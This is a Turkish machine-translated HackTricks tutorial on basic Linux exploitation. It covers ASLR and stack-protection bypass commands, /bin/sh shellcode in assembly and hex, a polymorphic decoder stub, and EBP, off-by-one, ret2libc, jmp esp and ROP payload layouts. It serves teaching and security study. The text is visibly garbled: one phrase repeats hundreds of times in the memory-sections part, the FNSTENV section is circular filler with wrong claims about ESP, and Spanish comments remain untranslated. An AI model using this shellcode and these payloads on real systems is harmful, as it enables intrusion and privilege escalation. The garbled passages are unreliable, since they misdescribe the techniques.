hacktricks/exploiting/linux-exploiting-basic-esp
2024-02-10 18:14:16 +00:00
..
rop-leaking-libc-address Translated to Turkish 2024-02-10 18:14:16 +00:00
bypassing-canary-and-pie.md Translated to Turkish 2024-02-10 18:14:16 +00:00
format-strings-template.md Translated to Turkish 2024-02-10 18:14:16 +00:00
fusion.md Translated to Turkish 2024-02-10 18:14:16 +00:00
README.md Translated to Turkish 2024-02-10 18:14:16 +00:00
ret2lib.md Translated to Turkish 2024-02-10 18:14:16 +00:00
rop-syscall-execv.md Translated to Turkish 2024-02-10 18:14:16 +00:00

Linux Exploiting (Temel) (SPA)

Linux Exploiting (Temel) (SPA)

htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile sıfırdan kahraman olmak için AWS hackleme öğrenin!

HackTricks'i desteklemenin diğer yolları:

ASLR

Adres Rastgeleleştirme

Global adres rastgeleleştirmeyi devre dışı bırak (root):
echo 0 > /proc/sys/kernel/randomize_va_space
Global adres rastgeleleştirmeyi etkinleştir: echo 2 > /proc/sys/kernel/randomize_va_space

Bir yürütme için devre dışı bırak (root gerektirmez):
setarch `arch` -R ./örnek argümanlar
setarch `uname -m` -R ./örnek argümanlar

Yığın üzerindeki yürütme korumasını devre dışı bırak
gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack örnek.c -o örnek

Core dosyası
ulimit -c unlimited
gdb /exec core_dosyası
/etc/security/limits.conf -> * soft core unlimited

Metin
Veri
BSS
Heap

Yığın

BSS Bölümü: Başlatılmamış global veya statik değişkenler

static int i;

BÖLÜM DATA: İlk değer atanan global veya statik değişkenler

Bu bölümde, Linux sistemlerindeki temel bir hafıza taşması saldırısı olan ESP (Execution Stack Pointer) üzerindeki Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux hedeflerini hedefleyen bir saldırı tekniği olan ESP üzerinde Linux

int i = 5;

BÖLÜM TEXT: Kod talimatları (opcodes) talimatları

BÖLÜM HEAP: Dinamik olarak ayrılan tamponlar (malloc(), calloc(), realloc())

BÖLÜM STACK: Yığın (Geçirilen argümanlar, çevre dizeleri (env), yerel değişkenler...)

1. STACK TAŞMALARI

tampon taşması, tampon aşımı, yığın aşımı, yığın ezilmesi

Segmentation fault veya segment violation: Bir işleme atanmamış bir bellek adresine erişmeye çalışıldığında oluşur.

Bir program içinde bir fonksiyonun adresini elde etmek için şunlar yapılabilir:

objdump -d ./PROGRAMA | grep FUNCION

ROP

sys_execve çağrısı

{% content-ref url="rop-syscall-execv.md" %} rop-syscall-execv.md {% endcontent-ref %}

2.SHELLCODE

Kernel kesintilerini görüntüle: cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep “__NR_”

setreuid(0,0); // __NR_setreuid 70
execve(“/bin/sh”, args[], NULL); // __NR_execve 11
exit(0); // __NR_exit 1

xor eax, eax ; eax'i temizle
xor ebx, ebx ; ebx = 0 çünkü geçirilecek bir argüman yok
mov al, 0x01 ; eax = 1 —> __NR_exit 1
int 0x80 ; Syscall'ı çalıştır

nasm -f elf assembly.asm —> Bir .o dosyası döndürür
ld assembly.o -o shellcodeout —> Derlenmiş kodu içeren ve opcodes'ları çıkarabileceğimiz bir yürütülebilir dosya verir
objdump -d -Mintel ./shellcodeout —> Shellcode'umuz olduğunu ve OpCodes'ları çıkarmak için kullanılır

Shellcode'un çalıştığını kontrol etmek

char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”

void main(){
void (*fp) (void);
fp = (void *)shellcode;
fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>

Para doğru bir şekilde sistem çağrılarının gerçekleştirildiğini görmek için önceki programı derlemeli ve sistem çağrılarının strace ./PROGRAMA_COMPILADO çıktısında görünmesi gerekmektedir.

Shellcode oluştururken bir hile yapılabilir. İlk talimat bir çağrıya bir atlama yapar. Bu çağrı, orijinal kodu çağırır ve ayrıca EIP'yi yığına yerleştirir. Call talimatından sonra ihtiyacımız olan dizeyi ekledik, bu nedenle bu EIP ile dizeyi işaretleyebilir ve ayrıca kodu devam ettirebiliriz.

ÖR HİLE (/bin/sh):

jmp                 0x1f                                        ; Salto al último call
popl                %esi                                       ; Guardamos en ese la dirección al string
movl               %esi, 0x8(%esi)       ; Concatenar dos veces el string (en este caso /bin/sh)
xorl                 %eax, %eax             ; eax = NULL
movb  %eax, 0x7(%esi)     ; Ponemos un NULL al final del primer /bin/sh
movl               %eax, 0xc(%esi)      ; Ponemos un NULL al final del segundo /bin/sh
movl   $0xb, %eax               ; Syscall 11
movl               %esi, %ebx               ; arg1=“/bin/sh”
leal                 0x8(%esi), %ecx      ; arg[2] = {“/bin/sh”, “0”}
leal                 0xc(%esi), %edx      ; arg3 = NULL
int                    $0x80                         ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
xorl                 %ebx, %ebx             ; ebx = NULL
movl   %ebx, %eax
inc                   %eax                          ; Syscall 1
int                    $0x80                         ; exit(0)
call                  -0x24                          ; Salto a la primera instrución
.string             \”/bin/sh\”                               ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>

Stack Kullanarak EK Yürütme (/bin/sh):

section .text
global _start
_start:
xor                  eax, eax                     ;Limpieza
mov                al, 0x46                      ; Syscall 70
xor                  ebx, ebx                     ; arg1 = 0
xor                  ecx, ecx                     ; arg2 = 0
int                    0x80                           ; setreuid(0,0)
xor                  eax, eax                     ; eax = 0
push   eax                             ; “\0”
push               dword 0x68732f2f ; “//sh”
push               dword 0x6e69622f; “/bin”
mov                ebx, esp                     ; arg1 = “/bin//sh\0”
push               eax                             ; Null -> args[1]
push               ebx                             ; “/bin/sh\0” -> args[0]
mov                ecx, esp                     ; arg2 = args[]
mov                al, 0x0b                      ; Syscall 11
int                    0x80                           ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)

EJ FNSTENV:

Bu teknik, Linux sistemlerinde bulunan bir zafiyeti kullanarak hedef makineye kötü niyetli kod enjekte etmeyi amaçlar. Bu, hedef makinede bir hedef işlemci kaydedicisine (ESP) kötü niyetli bir değer yerleştirerek gerçekleştirilir. Bu, hedef makinede bir tampon taşması zafiyeti olduğunda özellikle etkilidir.

Bu teknik, hedef makinede kötü niyetli kod çalıştırmak için kullanılabilir. Kötü niyetli kod, hedef sistemde yetkilendirme atlaması, gizli bilgilerin sızdırılması veya başka zararlı faaliyetler gerçekleştirmek için kullanılabilir.

Bu teknik, hedef makinede çalışan bir programın tampon taşması zafiyeti olduğunda kullanılabilir. Bu zafiyet, bir programın bellekte ayrılan bir tamponun sınırlarını aşmasına izin verir ve kötü niyetli bir saldırganın hedef makinede kod çalıştırmasına olanak tanır.

Bu teknik, hedef makinede bir hedef işlemci kaydedicisine (ESP) kötü niyetli bir değer yerleştirerek gerçekleştirilir. ESP, programın yığınını işaret eden bir kaydedicidir. Kötü niyetli bir saldırgan, ESP'yi kontrol ederek hedef makinede kötü niyetli kodun çalışmasını sağlayabilir.

Bu teknik, hedef makinede bir tampon taşması zafiyeti olduğunda özellikle etkilidir. Tampon taşması, bir programın bellekte ayrılan bir tamponun sınırlarını aşmasına neden olan bir zafiyettir. Bu, kötü niyetli bir saldırganın hedef makinede kod çalıştırmasına olanak tanır.

Bu teknik, hedef makinede kötü niyetli kod çalıştırmak için kullanılabilir. Kötü niyetli kod, hedef sistemde yetkilendirme atlaması, gizli bilgilerin sızdırılması veya başka zararlı faaliyetler gerçekleştirmek için kullanılabilir.

fabs
fnstenv [esp-0x0c]
pop eax                     ; Guarda el EIP en el que se ejecutó fabs
…

Egg Hunter:

Egg Hunter, küçük bir kod parçasıdır ve bir süreçle ilişkili bellek sayfalarını tarayarak orada saklanan shellcode'u bulur (shellcode'da belirli bir imza arar). Sadece kod enjekte etmek için sınırlı bir alan olduğu durumlarda kullanışlıdır.

Polimorfik Shellcode'lar

Polimorfik shellcode'lar, küçük bir kod parçasıyla şifrelenmiş shellcode'lardır ve onları çözen ve ona atlayan bir kod parçası kullanır. Bu, Call-Pop hilesi kullanılarak şifrelenmiş bir örnektir:

global _start
_start:
jmp short magic
init:
pop     esi
xor      ecx, ecx
mov    cl,0                              ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
desc:
sub     byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
sub     cl, 1
jnz       desc
jmp     short sc
magic:
call init
sc:
;Aquí va el shellcode
  1. Frame Pointer (EBP) Saldırısı

EBP'yi değiştirebiliriz ancak EIP'yi değiştiremezsek kullanışlı bir durumda.

Bir fonksiyondan çıkarken aşağıdaki derlenmiş kodun çalıştığı bilinmektedir:

movl               %ebp, %esp
popl                %ebp
ret

Bu şekilde, başka bir fonksiyon tarafından çağrılan bir fonksiyon (fvuln) çıkışında EBP değiştirilebilir. Çağıran fonksiyon tamamlandığında, EIP değiştirilebilir.

fvuln içinde, EBP'yi yanlış bir yere yönlendiren bir EBP girilebilir. Bu, fonksiyondan çıkarken, ESP'ye &(&Shellcode)+4 değeri yerleştirilir. Pop ile ESP'den 4 çıkarılır ve bu, ret çalıştığında ESP'nin shellcode adresine işaret etmesini sağlar.

Exploit:
&Shellcode + "AAAA" + SHELLCODE + doldurma + &(&Shellcode)+4

Off-by-One Exploit
Yalnızca EBP'nin en az anlamlı baytı değiştirilebilir. Yukarıdaki saldırıyı gerçekleştirmek mümkündür, ancak shellcode adresini tutan belleğin ilk 3 baytı EBP ile paylaşmalıdır.

4. return to Libc Yöntemleri

Stack çalıştırılamaz veya değiştirilecek çok küçük bir tampon bırakıldığında kullanışlı bir yöntemdir.

ASLR, her çalıştırmada işlevlerin bellekte farklı konumlara yüklenmesine neden olur. Bu nedenle bu yöntem bu durumda etkili olmayabilir. Uzaktan sunucular için, program sürekli olarak aynı adreste çalıştırıldığı için bu yöntem kullanışlı olabilir.

  • cdecl(C declaration) Argümanları stack'e yerleştirir ve fonksiyondan çıktıktan sonra yığıtı temizler
  • stdcall(standard call) Argümanları stack'e yerleştirir ve çağrılan fonksiyon yığıtı temizler
  • fastcall İlk iki argümanı kaydedicilere ve geri kalanını stack'e yerleştirir

Libc'nin system talimatının adresi verilir ve genellikle bir ortam değişkeninden "bin/sh" dizesi olarak geçirilir. Ayrıca, programın daha fazla kabuk gerektirmeyeceği zaman çıkış fonksiyonunun adresi kullanılır (ve günlük yazma sorunları olmaması için).

export SHELL=/bin/sh

İhtiyacımız olan adresleri bulmak için GDB içinde bakılabilir:
p system
p exit
rabin2 -i executable —> Programın yüklenirken kullandığı tüm işlevlerin adresini verir
(Bir başlangıç veya bir kesme noktası içinde): x/500s $esp —> Burada /bin/sh dizesini ararız

Bu adreslere sahip olduktan sonra exploit şu şekilde olur:

“A” * EBP UZAKLIĞI + 4 (EBP: 4 "A" olabilir, ancak hata ayıklama hatası olmaması için EBP'nin gerçek değeri daha iyidir) + system adresi (EIP üzerine yazacak) + exit adresi (system("bin/sh") çağrıldığında bu işlevi çağıracak çünkü yığının ilk 4 baytı, yürütülecek sonraki EIP adresi olarak işlenir) + "/bin/sh" adresi (system'e geçirilecek parametre olacak)

Bu şekilde EIP, system adresiyle üzerine yazılacak ve parametre olarak "bin/sh" dizesini alacak ve bunun dışında çıkarken exit() işlevini çalıştıracaktır.

Bir fonksiyonun herhangi bir adresinin bir baytının null veya boşluk (\x20) olabileceği durumla karşılaşılabilir. Bu durumda, önceki adresleri ayrıştırabiliriz, çünkü muhtemelen doğrudan fonksiyon yerine bunlardan birini çağırmamıza izin verecek birkaç NOP vardır (örneğin > x/8i system-4 ile).

Bu yöntem, fonksiyonu call yerine ret kullanarak system gibi bir işlevi çağırdığımızda, işlevin ilk 4 baytın dönüş yapılacak adres olduğunu anlaması nedeniyle çalışır.

Bu yöntemle ilgili ilginç bir teknik, bir yükü yığından heap'e taşımak için strncpy() çağırmaktır ve ardından bu yükü yürütmek için gets() kullanmaktır.

Başka bir ilginç teknik, herhangi bir bellek bölgesine istenen izinleri atamayı sağlayan mprotect() kullanmaktır. BDS, MacOS ve OpenBSD'de çalışır veya çalışırdı, ancak linux'ta (yazma ve yürütme izinlerini aynı anda verememe kontrolü) çalışmaz. Bu saldırı ile yığıtı yeniden yürütülebilir olarak yeniden yapılandırmak mümkün olabilir.

Fonksiyon Zincirleme

Önceki yönteme dayanarak, bu exploit yöntemi şu şekildedir:
Doldurma + &Fonksiyon1 + &pop;ret; + &arg_fun1 + &Fonksiyon2 + &pop;ret; + &arg_fun2 + ...

Bu şekilde çağrılacak fonksiyonlar zincirlenebilir. Ayrıca, birden fazla argümanı olan fonksiyonları kullanmak isterseniz, gerekli argümanları (örneğin 4) yerleştirebilir ve 4 argümanı yerleştirebilir ve opcodes içeren bir adrese yönelik bir adres bulabilirsiniz: pop, pop, pop, pop, ret —> objdump -d executable

EBP zincirleme ile Zincirleme

EBP'yi manipüle etme gücünden yararlanarak, EBP ve "leave;ret" kullanarak birkaç fonksiyonun yürütülmesini zincirlemek mümkündür.

DOLDURMA

  • EBP'yi, 2. EBP_fake + yürütülecek fonksiyonun adresine işaret eden yanlış bir EBP'ye yerleştirin: (&system() + &leave;ret + &“/bin/sh”)
  • EIP'ye bir fonksiyonun &(leave;ret) adresini koyun

Shellcode'u, shellcode'un bir sonraki bölümünün adresiyle başlatın, örneğin: 2. EBP_fake + &system() + &(leave;ret;) + &”/bin/sh”

  1. EBP şu şekilde olur: 3. EBP_fake + &system() + &(leave;ret;) + &”/bin/ls”

Bu shellcode, belleğin erişilebilen bölgelerinde sonsuz bir şekilde tekrarlanabilir, böylece küçük bellek parçalarına bölünebilen bir shellcode elde edilir.

(Fonksiyon zincirleme ve EBP ve ret2lib önceki zayıflıkları birleştirerek fonksiyonların yürütülmesini zincirlemektedir)

5. Ek Yöntemler

Ret2Ret

EBP'ye yığın adresi yerleştirilemediğinde (EIP'nin 0xbf içermediği kontrol edilir) veya shellcode'un konumu hesaplanamadığında kullanışlıdır. Ancak, savunmasız işlev bir parametre kabul eder (shellcode buraya gidecektir).

Bu şekilde, EIP'yi bir ret adresine değiştirerek, bir sonraki adres yüklenecektir (bu, işlevin ilk argümanının adresidir). Yani, shellcode yüklenecektir.

Exploit şu şekilde olur: SHELLCODE + Doldurma (EIP'ye kadar) + &ret (yığının sonraki baytları, geçirilen parametrenin başlangıcına işaret ettiği için, burada shellcode'un başlangıcına işaret eder)

Görünüşe göre strncpy gibi işlevler, tamamlandıktan sonra shellcode'un saklandığı adresi yığıttan kaldırır, bu da bu tekniği imkansız kılar. Yani, işlevin bir argüman olarak geçtiği adres (shellcode'u saklayan adres) bir 0x00 ile değiştirilir, bu nedenle ikinci ret çağrıldığında bir 0x00 ile karşılaşılır ve program çöker.

**Ret2PopRet**

Eğer ilk argüman üzerinde kontrolümüz yoksa, ancak ikinci veya üçüncü argüman üzerinde kontrolümüz varsa, EIP'yi pop-ret veya pop-pop-ret adresiyle üzerine yazabiliriz, ihtiyaca göre.

Murat Tekniği

Linux'ta tüm programlar 0xbfffffff'den başlayarak eşlenir.

Linux'ta yeni bir sürecin yığını nasıl oluşturulduğuna bakarak, programın yalnızca shellcode olan bir ortamda başlatılmasını sağlayacak bir exploit geliştirilebilir. Bu adres şu şekilde hesaplanabilir: addr = 0xbfffffff - 4 - strlen(FULL_EXECUTABLE_NAME) - strlen(shellcode)

Bu şekilde, shellcode ile çevre değişkeninin bulunduğu adres kolayca elde edilir.

Bu, execle fonksiyonunun yalnızca istenen çevre değişkenlerine sahip bir ortam oluşturmasına izin verdiği için mümkündür.

ESP'ye Atla: Windows Tarzı

ESP her zaman yığının başına işaret ettiği için, bu teknik EIP'yi jmp esp veya call esp çağrısıyla değiştirerek gerçekleştirilir. Böylece, EIP üzerine yazma işleminden sonra shellcode kaydedilir çünkü ret komutunu çalıştırdıktan sonra ESP, shellcode'un kaydedildiği yerin hemen sonraki adrese işaret eder.

Windows veya Linux'ta ASLR etkin değilse, jmp esp veya call esp çağrıları paylaşılan bir nesnede depolanabilir. ASLR etkinse, savunmasız olan programın içinde aranabilir.

Ayrıca, shellcode'u yığının ortasına yerleştirmek yerine EIP'nin bozulmasından sonra shellcode'u yerleştirebilmek, fonksiyonun ortasında çalışan push veya pop talimatlarının shellcode'a dokunmamasını sağlar.

Benzer şekilde, bir fonksiyonun shellcode'un kaydedildiği adresi döndürdüğü biliniyorsa, call eax veya jmp eax (ret2eax) çağrısı yapılabilir.

ROP (Return Oriented Programming) veya ödünç alınan kod parçaları

Çağrılan kod parçalarına "gadget" denir.

Bu teknik, ret2libc tekniği ve pop,ret kullanarak farklı fonksiyonlara çağrı yapmayı zincirlemeyi içerir.

Bazı işlemci mimarilerinde her talimat 32 bitlik bir dizi olabilir (örneğin MIPS). Ancak Intel'de talimatlar değişken boyutludur ve bir dizi biti paylaşabilir, örneğin:

movl $0xe4ff, -0x(%ebp) —> 0xffe4 baytlarını içerir, aynı zamanda jmp *%esp olarak da çevrilebilir.

Bu şekilde, aslında orijinal programda bile bulunmayan bazı talimatlar çalıştırılabilir.

